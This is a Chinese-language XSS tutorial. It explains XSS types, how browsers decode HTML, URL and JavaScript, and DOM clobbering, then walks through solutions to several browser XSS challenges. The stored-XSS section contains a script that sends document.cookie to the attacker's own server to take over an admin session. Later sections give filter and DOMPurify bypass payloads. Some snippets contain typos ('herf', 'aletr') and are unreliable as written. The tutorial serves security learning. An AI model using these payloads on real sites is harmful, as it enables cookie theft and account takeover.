目录
HTML字符实体(HTML character entities)
XSS简介
XSS被称为跨站脚本攻击(Cross-site scripting),由于和CSS(Cascading Style Sheets)重名,所以改为XSS。XSS主要基于javascript语言完成恶意的攻击行为,因为javascript可以非常灵活的操作html、css和浏览器。
XSS就是指通过利用网页开发时留下的漏洞(由于Web应用程序对用户的输入过滤不足),巧妙的将恶意代码注入到网页中,使用户浏览器加载并执行攻击者制造的恶意代码,以达到攻击的效果。这些恶意代码通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、Flash 或者普通的HTML。 当用户访问被XSS注入的网页,XSS代码就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript 解释器,可以解析javascript,然而由于浏览器并不具有人格,不会判断代码是否恶意,只要代码符合语法规则,浏览器就会解析这段XSS代码。
XSS分类
XSS分类可以分为反射型、DOM型和存储型。
反射型XSS(非持久型XSS)
-
定义与工作原理:反射型XSS发生在攻击者通过特定的方式诱惑受害者访问一个包含恶意代码的URL时。当受害者点击这个恶意链接时,注入的脚本被传输到目标服务器上,然后服务器将注入的脚本反射回受害者的浏览器,浏览器解析并执行这段恶意脚本。
-
实例:攻击者可能会创建一个看起来正常的链接,但实际上链接中包含了恶意脚本。当用户点击这个链接时,恶意脚本在用户的浏览器中执行。
存储型XSS(持久型XSS)
-
定义与工作原理:存储型XSS与反射型XSS的主要区别在于,提交的代码会存储在服务器端(如数据库、内存、文件系统等),下次请求目标页面时无需再次提交XSS代码。当用户访问存储了恶意代码的页面时,恶意脚本会被触发执行。
-
实例:攻击者可以将恶意代码上传或储存到网站的留言板、评论区等交互处。只要受害者浏览这些包含恶意代码的页面,就会执行恶意脚本。
存储型XSS又叫持久型XSS。一般而言,它是三种XSS里危害最大的一种。此类型的XSS漏洞是由于恶意攻击代码被持久化保存到服务器上,然后被显示到HTML页面之中。这类漏洞经常出现在用户评论的页面,攻击者精心构造XSS代码,保存到数据库中,当其他用户再次访问这个页面时,就会触发并执行恶意的XSS代码,从而窃取用户的敏感信息。
特点
• 持久性跨站脚本
• 持久性体现在JS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中,如留言板等地方
数据流量走向:浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器
例子
通过写JavaScript语句,打入网站后台,存入到数据库中。当管理员对我们的语句进行处理的时候触发JS代码我们可以偷到管理员的cookie。然后通过GET传递cookie值到自己的服务器文件中。从而可以实现无账号密码登录网站后台。
<script>window.location.herf=“地址?cokkie=”+document.cookie</script>
get --- 发送到自己服务器的文件中
DOM型XSS
-
定义与工作原理:DOM XSS与前两种类型的区别在于,它不需要服务器端的参与。触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。攻击者通过修改页面的DOM结构来执行恶意脚本。
-
实例:攻击者可能会利用网站的前端代码中的漏洞,通过修改DOM结构来注入恶意脚本,这些脚本在浏览器解析页面时执行。
注意:不是所有的标签都能解析javascript,可以解析的标签a、div、p、pre等标签。a标签中的href支持javascript伪协议,所以可以直接触发js代码。但是下面的不能触发
XSS常用的测试方法:alert、confirm、prompt......
HTML文档解析过程
例题
1.<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a> ----- 不能成功解析
href通常是通过游览器的地址栏传输的,是可以识别URLcode编码。所以编码没问题,但是却接解析不了
URL 编码 "javascript:alert(1)"
原因:因为在加载网页的时候不会直接解码URLcode解码,此时href不能识别"javascript",所以并不会执行js代码。当点击的时候游览器才进行URLcode解码,跳转网页但是却不能执行代码。
2.<a href="javascript:%61%6c%65%72%74%28%32%29"> ----- 成功解析
HTML字符实体编码 "javascript" 和 URL 编码 "alert(2)"
原因:由于"javascript"是HTML字符实体编码,在代码执行时就执行解码。此时可以识别"javascript"从而执行后面的代码。
html实体编码 --- 当访问这个网页的时候,会自动转码。格式是# + x(表示16进制)+ 对应的16机制。html实体编码是优先于URL解码协议。一般顺序是HTML实体编码、URLcode编码
3.<a href="javascript%3aalert(3)"></a> ----- 不能成功解析
URL 编码 ":"
原因:由于完整的"JavaScript"代码包含":",所以此时a标签的herf依然不能识别"JavaScript"代码。所以不能执行。
4.<div><img src=x onerror=alert(4)></div> ----- 不能成功解析
HTML字符实体编码 < 和 >
原因: 当我们进入数据中状态中,确实可以对其内容中的编码字符进行解码,但是不会再进入标签开始状态。即将img标签当成字符串进行显示,而不会再进入标签开始状态,从而不作为代码执行。
5.<textarea><script>alert(5)</script></textarea> ----- 不能成功解析
HTML字符实体编码 < 和 >
原因:在RCDATA元素标签下,即在解析器下如果遇到了`textarea`和`title`,统一将其标签里面的内容解析成文本。除非遇到其对应的结束标签
6.<textarea><script>alert(6)</script></textarea> ----- 不能成功解析
原因:同第五题的原因
7.<button onclick="confirm('7');">Button</button> ----- 成功解析
HTML字符实体编码 " ' " (单引号),正常解析然后执行。
8.<button onclick="confirm('8\u0027);">Button</button> ----- 不能成功解析
Unicode编码 " ' " (单引号)
Unicode编码:ASCII编码表的十六进制在前面加两个零,HTML自带Unicode编码。
原因:编码符号
在JavaScript中两个规范
-
严格区分大小写
-
不能编码符号
9.<script>alert(9);</script> ----- 不能成功解析
HTML字符实体编码 alert(9);
原因:script标签将其里面的内容视为文本元素,并不能去进行解码。
10.<script>\u0061\u006c\u0065\u0072\u0074(10);</script> ----- 成功解析
Unicode 编码 alert,HTML自带Unicode编码。
原因:script支持Unicode编码。,所以认识Unicode编码,能成功解析从而去执行代码。
11.<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script> ----- 不能成功解析
Unicode 编码 alert(11)
原因:编码符号不能执行
12.<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script> ----- 不能成功解析
Unicode 编码 alert 和 12
原因:script标签在解码之后将"12"识别为字符串,但是"12"没有用引号包裹起来所以报语法错误。
13.<script>alert('13\u0027)</script> ----- 不能成功解析
Unicode 编码 " ' " (单引号)
原因:编码符号
14.<script>alert('14')</script> ----- 成功解析
Unicode 编码换行符(0x0A)
原因:script支持换行解析。
15.<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)">15</a> ----- 成功解析
先进行HTML实体解码,然后是URL解码,最后才是Unicode解码。内容为:javascript:alert(15)
原因:安装HTML实体编码、URLcode编码、Unicode编码。可以识别代码从而执行。
在解析一篇HTML文档时主要有三个处理过程:HTML解析,URL解析和JavaScript解析。每个解析器负责解码和解析HTML文档中它所对应的部分,其工作原理已经在相应的解析器规范中明确写明。
HTML解析
HTML词法解析细则在这里。一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时候它只要遇到一个<
符号(后面没有跟``符号)就会进入“标签开始状态(Tag open state)”。然后转变到“标签名状态(Tag name state)”,“前属性名状态(before attribute name state)”......最后进入“数据状态(Data state)”并释放当前标签的token。当解析器处于“数据状态(Data state)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。
-
数据状态中的字符引用;
-
RCDATA状态中的字符引用;
-
属性值状态字符引用.
这里有三种情况可以容纳字符实体,“数据状态中的字符引用”,“RCDATA状态中的字符引用”和“属性值状态中的字符引用”。在这些状态中HTML字符实体将会从“&#...”形式解码,对应的解码字符会被放入数据缓冲区中。例如,在问题4中,“<”和“>”字符被编码为“<”和“>”。当解析器解析完<div>
并处于“数据状态”时,这两个字符将会被解析。当解析器遇到“&”字符,它会知道这是“数据状态的字符引用”,因此会消耗一个字符引用(例如“<”)并释放出对应字符的token。在这个例子中,对应字符指的是“<”和“>”。读者可能会想:这是不是意味着“<”和“>”的token将会被理解为标签的开始和结束,然后其中的脚本会被执行?答案是脚本并不会被执行。原因是解析器在解析这个字符引用后不会转换到“标签开始状态”。正因为如此,就不会建立新标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”。
字符实体(character entities)
字符实体是一个转义序列,它定义了一般无法在文本内容中输入的单个字符或符号。一个字符实体以一个&符号开始,后面跟着一个预定义的实体的名称,或是一个#符号以及字符的十进制数字。
HTML字符实体(HTML character entities)
在HTML中,某些字符是预留的。例如在HTML中不能使用“<”或“>”,这是因为浏览器可能误认为它们是标签的开始或结束。如果希望正确地显示预留字符,就需要在HTML中使用对应的字符实体。一个HTML字符实体描述如下:
显示结果 | 描述 | 实体名称 | 实体编号 |
---|---|---|---|
空格 | |   | |
< | 小于号 | < | < |
> | 大于号 | > | > |
& | 和号 | & | & |
" | 引号 | " | " |
’ | 撇号 | ' (IE不支持) | ' |
需要注意的是,某些字符没有实体名称,但可以有实体编号。
字符引用(character references)
字符引用包括“字符值引用”和“字符实体引用”。在上述HTML例子中,'<'对应的字符值引用为'<',对应的字符实体引用为‘<’。字符实体引用也被叫做“实体引用”或“实体”。)现在你大概会明白为什么我们要转义“<”、“>”、“'” (单引号)和“"” (双引号)字符了。
这里要提一下RCDATA的概念。要了解什么是RCDATA,我们先要了解另一个概念。在HTML中有五类元素:
-
空元素(Void elements),如
<area>
,<br>
,<base>
等等; -
原始文本元素(Raw text elements),有
<script>
和<style>
; -
RCDATA元素(RCDATA elements),有
<textarea>
和<title>
; -
外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素;
-
基本元素(Normal elements),即除了以上4种元素以外的元素。
五类元素的区别如下:
-
空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间);
-
原始文本元素,可以容纳文本;
-
RCDATA元素,可以容纳文本和字符引用;
-
外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释;
-
基本元素,可以容纳文本、字符引用、其他元素和注释。
如果我们回头看HTML解析器的规则,其中有一种可以容纳字符引用的情况是“RCDATA状态中的字符引用”。这意味着在<textarea>
和<title>
标签中的字符引用会被HTML解析器解码。这里要再提醒一次,在解析这些字符引用的过程中不会进入“标签开始状态”。这样就可以解释问题5了。另外,对RCDATA有个特殊的情况。在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”。在这个状态中,如果遇到“<”字符,它会转换到“RCDATA小于号状态”。如果“<”字符后没有紧跟着“/”和对应的标签名,解析器会转换回“RCDATA状态”。这意味着在RCDATA元素标签的内容中(例如<textarea>
或<title>
的内容中),唯一能够被解析器认做是标签的就是</textarea>
或者</title>
。因此,在<textarea>
和<title>
的内容中不会创建标签,就不会有脚本能够执行。这也就解释了为什么问题6中的脚本不会被执行。 ---- 简而言之,在RCDATA元素标签下,即在解析器下如果遇到了textarea
和title
,统一将其标签里面的内容解析成文本。除非遇到其对应的结束标签。
URL解析
URL解析器也是一个状态机模型,从输入流中进来的字符可以引导URL解析器转换到不同的状态。解析器的解析细则在这里。其中有很多有关安全或XSS转义的内容。
首先,URL资源类型必须是ASCII字母(U+0041-U+005A || U+0061-U+007A),不然就会进入“无类型”状态。例如,你不能对协议类型进行任何的编码操作,不然URL解析器会认为它无类型。这就是为什么问题1中的代码不能被执行。因为URL中被编码的“javascript”没有被解码,因此不会被URL解析器识别。该原则对协议后面的“:”(冒号)同样适用,即问题3也得到解答。然而,你可能会想到:为什么问题2中的脚本被执行了呢?如果你记得我们在HTML解析部分讨论的内容的话,是否还记得有一个情况叫做“属性值中的字符引用”,在这个情况中字符引用会被解码。我们将稍后讨论解析顺序,但在这里,HTML解析器解析了文档,创建了标签token,并且对href属性里的字符实体进行了解码。然后,当HTML解析器工作完成后,URL解析器开始解析href属性值里的链接。在这时,“javascript”协议已经被解码,它能够被URL解析器正确识别。然后URL解析器继续解析链接剩下的部分。由于是“javascript”协议,JavaScript解析器开始工作并执行这段代码,这就是为什么问题2中的代码能够被执行。
解码顺序:HTML实体编解码 --- URLCode编解码 --- Unicode编解码
其次,URL编码过程使用UTF-8编码类型来编码每一个字符。如果你尝试着将URL链接做了其他编码类型的编码,URL解析器就可能不会正确识别。
JavaScript 解析
JavaScript解析过程与HTML解析过程有点不一样。JavaScript语言是一门内容无关语言。对应着有一份内容无关的语法来描述它。我们可以利用内容无关语法来解释JavaScript是如何解析的。ECMAScript-262细则在这里,语法文件在这里。
这里有一些与安全相关的事情:字符是如何被解码的?对一些字符进行转义是否有效?
开始之前,让我们来回到HTML解析过程中的“原始文本”元素。我故意将HTML中的一部分留到这个章节是因为它与JavaScript解析有关。所有的“script”块都属于“原始文本”元素。“script”块有个有趣的属性:在块中的字符引用并不会被解析和解码。如果你去看“脚本数据状态”的状态转换规则,就会发现没有任何规则能转移到字符引用状态。这意味着什么?这意味着问题9中的脚本并不会执行。所以如果攻击者尝试着将输入数据编码成字符实体并将其放在script块中,它将不会被执行。
那像“\uXXXX”(例如\u0000,\u000A)这样的字符呢,JavaScript会解析这些字符来执行吗?简单的说:视情况而定。具体的说就是要看被编码的序列到底是哪部分。首先,像\uXXXX一样的字符被称作Unicode转义序列。从上下文来看,你可以将转义序列放在3个部分:字符串中,标识符名称中和控制字符中。
字符串中:当Unicode转义序列存在于字符串中时,它只会被解释为正规字符,而不是单引号,双引号或者换行符这些能够打破字符串上下文的字符。这项内容清楚地写在ECMAScript中。因此,Unicode转义序列将永远不会破环字符串上下文,因为它们只能被解释成字符串常量。
“ECMAScript 与 JAVA 编程语言在对待Unicode转义序列时的行为不同。在Java程序中,如果Unicode转义序列\u000A出现在单行字符串注释中,它会被解释为行结束符(换行符),因此会导致接下来的Unicode字符不是注释的一部分。同样的,如果Unicode转义序列\u000A出现在Java程序的字符串常量中,它同样会被解释为行结束符(换行符),这在字符串常量中是不被允许的——如果需要在字符串常量中表示换行,需要用\n来代替\u000A。在ECMAScript程序中,出现在注释中的Unicode转义序列永远不会被解释,因此不会导致注释换行问题。同样地,ECMAScript程序中,在字符串常量中出现的Unicode转义序列会被当作字符串常量中的一个Unicode字符,并且不会被解释成有可能结束字符串常量的换行符或者引号。”
<script>
alert(1)
</script>
标识符名称中:当Unicode转义序列出现在标识符名称中时,它会被解码并解释为标识符名称的一部分,例如函数名,属性名等等。这可以用来解释问题10。如果我们深入研究JavaScript细则,可以看到如下内容:
“Unicode转义序列(如\u000A\u000B)同样被允许用在标识符名称中,被当作名称中的一个字符。而将''符号前置在Unicode转义序列串(如\u000A000B000C)并不能作为标识符名称中的字符。将Unicode转义序列串放在标识符名称中是非法的。”
控制字符:当用Unicode转义序列来表示一个控制字符时,例如单引号、双引号、圆括号等等,它们将不会被解释成控制字符,而仅仅被解码并解析为标识符名称或者字符串常量。如果你去看ECMAScript的语法,就会发现没有一处会用Unicode转义序列来当作控制字符。例如,如果解析器正在解析一个函数调用语句,圆括号部分必须为“(”和“)”,而不能是\u0028和\u0029。
总的来说,Unicode转义序列只有在标识符名称里不被当作字符串,也只有在标识符名称里的编码字符能够被正常的解析。如果我们回看问题11,它并不会被执行。因为“(11)”不会被正确的解析,而“alert(11)”也不是一个有效的标识符名称。问题12不会被正确执行要么是因为'\u0031\u0032'不会被解释为字符串常量(因为它们没有用引号闭合)要么是因为它们是ASCII型数字。问题13不会执行的原因是'\u0027'仅仅会被解释成单引号文本,而此时字符串是未闭合的。问题14能够执行的原因是'\u000a'会被解释成换行符文本,这并不会导致真正的换行从而引发JavaScript语法错误。
解析流
在讨论过HTML,URL和JavaScript解析之后,读者应该能够对“什么会被解码”、“在什么地方被解码”和“如何被解码”这几件事有了清楚的认识。现在,另一个重要的概念是所有这些是如何协同工作的?在网页中有很多地方需要多个解析器来协同工作。因此,对于解码和转义问题,我们将简要的讨论浏览器如何解析一篇文档。
当浏览器从网络堆栈中获得一段内容后,触发HTML解析器来对这篇文档进行词法解析。在这一步中字符引用被解码。在词法解析完成后,DOM树就被创建好了,JavaScript解析器会介入来对内联脚本进行解析。在这一步中Unicode转义序列和Hex转义序列被解码。同时,如果浏览器遇到需要URL的上下文,URL解析器也会介入来解码URL内容。在这一步中URL解码操作被完成。由于URL位置不同,URL解析器可能会在JavaScript解析器之前或之后进行解析。考虑如下两种情况
Example A: <a href="UserInput"></a>
Example B: <a href=# onclick="window.open('UserInput')"></a>
在例A中,HTML解析器将首先开始工作,并对UserInput中的字符引用进行解码。然后URL解析器开始对href值进行URL解码。最后,如果URL资源类型是JavaScript,那么JavaScript解析器会进行Unicode转义序列和Hex转义序列的解码。再之后,解码的脚本会被执行。因此,这里涉及三轮解码,顺序是HTML,URL和JavaScript。
在例B中,HTML解析器首先工作。然而接下来,JavaScript解析器开始解析在onclick事件处理器中的值。这是因为在onclick事件处理器中是script的上下文。当这段JavaScript被解析并被执行的时候,它执行的是“window.open()”操作,其中的参数是URL的上下文。在此时,URL解析器开始对UserInput进行URL解码并把结果回传给JavaScript引擎。因此这里一共涉及三轮解码,顺序是HTML,JavaScript和URL。有没有可能解码次数超过3轮呢?考虑一下这个例子
Example C: <a href="javascript:window.open('UserInput')">
例C与例A很像,但不同的是在UserInput前多了window.open()操作。因此,对UserInput多了一次额外的URL解码操作。总的来说,四轮解码操作被完成,顺序是HTML,URL,JavaScript和URL。
XSS练习
Dom Clobbering
就是⼀种将 HTML 代码注⼊页面中以操纵 DOM 并最终更改⻚⾯上 JavaScript ⾏为的技术。 在⽆法直接 XSS的情况下,我们就可以往 DOM Clobbering 这⽅向考虑了。
例子1练习
从图中我们可以看到通过 id 或者 name 属性,取出其对应的标签除了document.x为indefined。其他几种情况都能正常取出。我们可以在控制台进行插入一个div标签在body下插入一个name为cookie的img标签。可以看到document.cookie 已经被我们⽤img 标签给覆盖了。此时我们原本取cookie的值,到现在变成取出的内容是name=cookie的img标签。
例子2练习
我们可以在HTML中创建标签,从而覆盖HTML自带的内置函数。
可以看到我们通过多层覆盖掉了document.body.appendChild ⽅法。此时就不能通过appendChild进行插入。打印此时的appendChild的方法,此时却是取出了id为appendChild的img标签。
既然我们可以通过这种⽅式去创建或者覆盖 document 或者 window 对象的某些值,但是看起来我们举的例⼦只是利⽤标签创建或者覆盖最终得到的也是标签,是⼀个HTMLElment 对象。但是对于⼤多数情况来说,我们可能更需要将其转换为⼀个可控的字符串类型,以便我们进⾏操作。
所以我们需要可以将覆盖的标签转化为字符串的标签,所以我们可以通过以下代码来进⾏fuzz 得到可以通过toString ⽅法将其转换成字符串类型的标签
var res = Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)
console.log(res)
解释代码
getOwnPropertyNames ----- 静态方法返回一个数组,其包含给定对象中所有自有属性。
所以获取的是window下所有的属性。
然后map一个一个取window数组下key名称,进行正则过滤判断,留下以Element结尾的属性。
经过条件判断过滤出不能继承Object的toString方法的属性。因为在之前我们已经得出继承的Object的toString方法最后得到的依然元素。我们需要不继承Object的toString方法的属性,将其输出为字符串。
我们可以得到两种标签对象:HTMLAreaElement (<area>
) & HTMLAnchorElement (<a>
) ,这两个标签对象我们都可以利⽤href 属性来进⾏字符串转换。因为HTMLAreaElement (<area>
) 是area元素此处用处不大。所以我们选择HTMLAnchorElement (<a>
)。
以上是单层构造。如果我们要使用两层的形式呢?
<div id=x>
<a id=y href='1:hasaki'></a>
</div>
<script>
alert(x.y);
</script>
无论第一个标签如何组合,得到的结果都只是undefined 。但是我们可以通过另⼀种⽅法引⼊ name 属性就会有其他的效果。
方法一我们按照集合的方式取
将内容改为
<div id=x>
<a id=x name=y href='1:hasaki'></a>
</div>
<script>
// alert(x.y);
console.log(x)
</script>
我们发现是输出了一个数组,数组将id=x的div和a标签都涵盖到其中。并且在数组中x用来表示div标签,y来表示a标签。此时如果我们想去取出div或者a标签就很容易了。即取div标签console.log(x,x)
取a标签console.log(x,y)
。
方法二
我们也可以通过利⽤HTML标签之间存在的关系来构建层级关系。
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","
dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","me
ter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp "], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++){
for(var j=0;j<html.length;j++) {
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+'
id=element2>'; document.body.appendChild(div);
if(window.element1 && element1.element2){
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));
以上代码测试了现在HTML5 基本上所有的标签,使⽤两层的层级关系叠加取某两种叠加时可以取出值的两个标签进⾏fuzz ,注意这⾥只使⽤了id ,并没有使⽤name,遇上⽂的HTMLCollection 并不是⼀种⽅法。
我们可以得到的是以下关系:
-
form->button
-
form->fieldset
-
form->image
-
form->img
-
form->input
-
form->object
-
form->output
经过测试以下代码,发现可取出内容。
<form id=x>
<output id=y>I've been clobbered</output>
<script>
alert(x.y.value);
</script>
以上我们都是通过id 或者 name 来利⽤,那我们能不能通过⾃定义属性来构造呢?
<form id=x y=123>
</form>
<script>
alert(x.y)//undefined
</script>
很明显,这意味着任何未定义的属性都不会具有DOM 属性,所以就返回了 undefined。
我们可以尝试⼀下fuzz 所有标签的有没有字符串类型的属性可供我们使⽤:
var html = [...]//HTML elements array --- 刚刚一长串的元素。
var props=[];
for(i=0;i<html.length;i++){
obj = document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
props.push(html[i]+':'+prop);
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));
我们可以得到⼀系列标签字符串类型的属性,例如:
a:username
a:password
但是这仅仅得到的只是知道它们属性为字符串类型,我们需要知道能不能利⽤,于是我们需要加上⼀些
东⻄来进⾏验证
var html = [...]//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
obj = document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
if(document.getElementById('x')[prop] == 1) {
props.push(html[i]+':'+prop);
}
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));
我们可以得到⼀系列的标签以及其属性名称,例如我们可以利⽤其中的a:title 来进⾏组合
<a id=x title='hasaki'></a>
<script>
console.log(x.title);//hasaki
</script>
其中在我们第⼀步得到的属性中⽐较有意思的是 a 标签的username 跟 password 属性,虽然我们不能直接通过title 这种形式利⽤,但是我们可以通过href 的形式来进⾏利⽤:
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username)//Clobberedusername
alert(x.password)//Clobberedpassword
</script>
DOM型XSS练习
例题1-- Ma Spaghet!
这道题是通过get传递参数,传递的参数没有经过过滤直接放进h2的标签。
innerHTML属性。因为官方认为不安全,所以在innerHTML属性中禁用了script标签,所以这里改用用其他标签来进行弹窗。
?somebody=<img src= 1 onerror ="alert(1337)">
想要去防御这个方法也很简单,采用官方的建议使用innerText属性对其内容按照字符串解析。这样就不能被解析成代码执行。
例题2-- Ma Spaghet!
代码很简单,分析代码
-
jeff || JEFFF ---- 如果jieff有值就为jeff。如果没值就默认为JEFFF;
-
setTimeout表明在一秒后执行一次
-
此时maname使用了innerText属性,此时传递到maname的内容为文本。是无法执行代码的。
-
所以考虑eval代码执行,我们可以将其闭合从而通过eval执行我们的恶意代码。
方法一闭合
恶意代码:?jeff=aaa";alert(1337);"
eval (`ma= "Ma name aaa";alert(1337);""`)
方法二特殊连接符
?jeff=aaa"-alert(1337);-"
eval (`ma= "Ma name aaa"-alert(1337);-""`)
将所有内容当成eval中ma等于的部分的内容
例题3 -- Ugandan Knuckles
这道题在第一点处URL
接口的 searchParams
属性返回一个 URLSearchParams
对象,这个对象包含当前 URL 中解码后的 GET
查询参数。第二点处通过正则过滤"<>",第三点处使用了innerHTML属性说明不是里面内容不被识别成字符串。
在input中典型例题的form标签中,如果存在input中可以传递用户可控的参数,用户可以对input标签进行闭合。在inpot的标签后面写script标签,从而生效。或者是用户可以对传递的参数进行闭合,并且添加一个点击事件,点击form表单就能触发。
此时这道题就可以进行闭合,新加点击事件,但是题目要求不能和用户进行交互。在input存在一个聚焦标签onfocus
,可以按Tab键进行触发。并且可以不间断触发。但是仍然需要用户点击或者按tab才能触发,此时存在另一个参数即自动对焦autofocus
。打开网页自动聚焦到form表单。
?wey=aaa" onfocus = alert(1337) autofocus="
例题4-- Ricardo Milos
分析代码发现需要通过GET传递ricardo的值,如果不传递默认为#
即在当前页面直接提交空白,且之提交一次。并且我们发现是对id为ricardo的元素进行提交。即2s后提交form表单。
此处的form表单的action有问题。即2s自动提交form表单,并且我们get传参位置在form表单上。我们可以通过JavaScript的伪协议经过提交直接触发alter弹窗。
?ricardo=javascript:aletr(1337)
例题5-- Ah That's Hawt
首先从当前页面的URL中获取名为markassbrownlee
的查询参数的值,并将其赋给变量smith
。如果URL中没有这个参数,那么smith
的值将被设置为默认字符串"Ah That's Hawt"
。
代码使用正则表达式来过滤smith
中的所有圆括号、反引号和反斜杠,并将它们替换为空字符串。代码将处理后的smith
的值赋给一个名为will
的HTML元素的innerHTML
属性。
此时由于过滤括号就不能触发alter的函数,尝试转码发现不行,因为转码之后就编码了代码中的符合。
此时我们可以考虑使用location。尽管 Window.location
是一个只读 Location
对象,你仍然可以将字符串赋值给它。这意味着可以在大多数情况下像字符串一样处理。而字符串是可以进行编解码的。
?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">
将%再编码一次是因为如果只编码一次括号,在通过url传递之后自动解码为括号。此时就会被过滤掉。所以需要编码两次,代码走进javascript之后才会继续解码。
例题6-- Ligma
通过分析代码发现通过正则过滤数字和字母,此时一般情况下要去考虑编码问题。
此时我们可以考虑去jsfuck进行编码。
编码好的内容存在很多特殊字符,不能直接通过URL传递,所以我们需要进行URLcode编码。
结果
例题7-- Mafia
首先,mafia = mafia.slice(0, 50)
这行代码将mafia
变量的值截取为前50个字符,并将结果重新赋值给mafia
。这意味着如果mafia
的长度超过50个字符,那么只有前50个字符会被保留。
接下来,mafia = mafia.replace(/[\
'"+-![]]/gi, '_')这行代码使用正则表达式
/['"+-!\[]]/gi
来查找mafia
中的所有反引号、单引号、双引号、加号、减号、感叹号、反斜杠和方括号,并将它们替换为下划线。gi
是正则表达式的标志,其中g
表示全局匹配(即替换所有匹配项),i
表示不区分大小写。
最后,mafia = mafia.replace(/alert/g, '_')
这行代码使用正则表达式/alert/g
来查找mafia
中的所有alert
字符串,并将它们替换为下划线。
这种一般是过滤全部弹窗关键词,此处可能是写错。我们可以按照过滤三个弹窗关键词进行解题。
方法一
通过创建匿名函数来执行ALTER,通过执行该函数将大写转小写从而绕过正则表达式,从而执行。
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
匿名构造函数如果想要执行,直接在后面再加一个括号即可。
方法二
parselnt方法
基本语法:parseInt(string, radix);
参数 | 说明 |
---|---|
string | 要被解析的值。如果参数不是一个字符串,则将其转换为字符串。 |
radix | 从 2 到 36 的整数,表示进制的基数。如果超出指定的基数范围,将返回 NaN |
toString方法
基本语法:toString()
or toString(radix)
参数 | 说明 |
---|---|
radix(可选) | 一个整数,范围在 2 到 36 之间,用于指定表示数字值的基数。默认为 10。 |
之所以选择基数为36,是因为t是处于0-9,a-z中第30位,所以要用30位以后的才能完全进行转码,但是37位不存在所以最多到36位。
?mafia=eval(8680439..toString(30))(1337)
转换格式要用两个点才能执行
方法三
location.hash --- 接口的 hash
属性返回一个 USVString
,其中会包含 URL 标识中的 '#'
和 后面 URL 片段标识符。并且#后面的内容不会认为是传递参数中的内容。
slice --- 截取字符串内容,这里主要是为了消除#的影响。
?mafia=eval(location.hash.slice(1))#alert(1337)
列题8-- Ok, Boomer
我们发现使用了一个坚不可摧的DOMPurify框架。并且在下面使用setTimeout函数执行了一个不存在的ok元素。此时我们可考虑dom破坏,创建ok元素通过setTimeout函数进行执行。
全局的 setTimeout()
方法设置一个定时器,一旦定时器到期,就会执行一个函数或指定的代码片段。即允许你包含在定时器到期后编译和执行的字符串而非函数。
由于HTMLAnchorElement (<a>
)中存在herf属性,所以可以通过该<a>
标签的herf属性当成字符串进行展示,即在调用<a>
标签弹窗的时候自动调用tostring方法转化为字符串输出herf里面的内容。
我们的最终目的转化出字符串。放在 setTimeout()
方法的定时器中,2s后自动执行弹窗。
?boomer=<a id=ok href="javascript:alert(1337)">
此时发现依然不行,因为页面使用DOMPurify框架,此时的javascript对于该框架来说处于黑名单就被过滤了。所有我们要查找白名单中的内容进行修改。
我们选取白名单中的进行替代JavaScript即可
?boomer=<a id=ok href="tel:alert(1337)">
例题9
初版代码
<body>
<div class="aaaa" id="aaaaaa">aaaaaa</div>
</body>
<script>
const data = decodeURIComponent(location.hash.substr(1))
const root = document.createElement('div')
root.innerHTML = data
for (let el of root.querySelectorAll('*')) {
for (let attr of el.attributes) {
el.removeAttribute(attr.name);
}
}
document.body.appendChild(root);
</script>
取#后面的内容除去#,通过函数将传递的所有标签属性进行清空。
我们先传递img标签给他加上src属性进行测试。
我们发现后面跟的src标签被清除了。img标签里面什么内容都没有。我们再次尝试传递完整的img标签即<img src=1 onerror=alert(1)>
此时我们发现,只删除了src属性,而onerror属性却没有删除。但是由于src属性被删除了,后面就无法正常执行onerror。
